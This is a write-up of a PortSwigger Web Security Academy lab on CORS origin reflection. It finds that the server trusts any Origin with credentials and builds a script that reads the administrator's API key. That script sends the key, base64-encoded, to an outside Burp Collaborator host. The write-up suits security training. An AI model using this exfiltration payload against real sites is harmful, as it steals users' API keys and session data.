Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CORS Misconfiguration — Origin Reflection
Difficulty Apprentice
Objective Exfiltrate the administrator's API key via a CORS-based attack

CORS Vulnerability with Basic Origin Reflection — Writeup


Initial Observation

Logged in as wiener:peter. The account page shows an API key that takes a second to appear — something is fetching it asynchronously. Inspecting the source:

<div>Your API Key is: <span id=apikey></span></div>
fetch('/accountDetails', {credentials:'include'})
    .then(r => r.json())
    .then(j => document.getElementById('apikey').innerText = j.apikey)
Screenshot

The API key comes from /accountDetails. Navigating there directly:

Screenshot
{
  "username": "wiener",
  "email": "",
  "apikey": "rViqpaxRQWs0UTcB3QVx2QwHjKU5sjyx",
  "sessions": [
    "dzxv9ybTSOWZxxGMpIq2TrYAdNO7WxZI"
  ]
}
Screenshot

Web — Testing the CORS Policy

Intercepting the /accountDetails request in Burp, sending it to Repeater, and adding an Origin header:

Origin: https://teto.com

Response:

Access-Control-Allow-Origin: teto.com
Access-Control-Allow-Credentials: true
Screenshot

The server reflects whatever origin we send back in Access-Control-Allow-Origin, and Access-Control-Allow-Credentials: true means the browser will include session cookies in cross-origin requests and allow the response to be read by the requesting script. Any domain we control will be trusted.


Attack Path

Building the Exfiltration Script

First attempt — basic XHR to /accountDetails:

<script>
    var req = new XMLHttpRequest();
    req.open("GET", "https://0aab003904b2c54980b603e800250056.web-security-academy.net/accountDetails", true);
    req.send();
</script>

The request goes out with our exploit server as the Origin, but the response is 401 Unauthorized. The request is cross-origin but without credentials — the victim's session cookie isn't being sent.

Screenshot

Adding req.withCredentials = true fixes that. Using new Image().src for exfiltration instead of location = — image requests are less likely to be blocked by CSP and don't interrupt the execution context:

<script>
    var req = new XMLHttpRequest();
    req.onload = function(){
        new Image().src = "https://3z3nm2scgc2w7v4fe1y90lzznqthh75w.oastify.com/?tetoKey=" + btoa(req.responseText);
    };
    req.open("GET", "https://0aab003904b2c54980b603e800250056.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>

Delivering the exploit to the victim. Burp Collaborator receives the request — decoding the base64 gives us the administrator's API key.

Screenshot

Submitting it solves the lab:

Screenshot

Lab solved >..<

Resources